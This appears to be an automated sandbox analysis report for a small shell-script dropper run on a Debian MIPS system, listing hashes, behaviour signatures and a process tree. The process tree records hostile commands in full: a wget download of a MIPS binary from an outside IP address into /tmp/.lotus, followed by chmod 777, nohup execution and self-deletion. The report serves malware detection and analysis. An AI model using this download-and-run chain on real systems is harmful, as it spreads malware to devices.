Analysis

  • max time kernel
    61s
  • max time network
    139s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03/10/2026, 09:24

General

  • Target
    f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
  • Size 1KB
  • Sample261003-lc5pravgla
  • SHA256 f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
    /tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
    1⤵
      PID:713
      • /bin/uname
        uname -m
        2⤵
          PID:717
        • /usr/bin/wget
          wget -q http://2.27.248.149/bins/mips -O /tmp/.lotus
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:719
        • /bin/chmod
          chmod 777 /tmp/.lotus
          2⤵
          • File and Directory Permissions Modification
          PID:732
        • /bin/rm
          rm -f /tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
          2⤵
            PID:735
          • /usr/bin/nohup
            nohup /tmp/.lotus
            2⤵
            • Executes dropped EXE
            PID:734
          • /tmp/.lotus
            /tmp/.lotus
            2⤵
            • Reads runtime system information
            PID:734

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              .lotus

              • Path /tmp/.lotus
              • Size 15KB
              • SHA256 e3b4e38ac412470eabdb43d43d696fc6b690eea2007e2dc084a72f286a5b4719
              • MD5 SHA1 SHA512 SSDEEP TLSH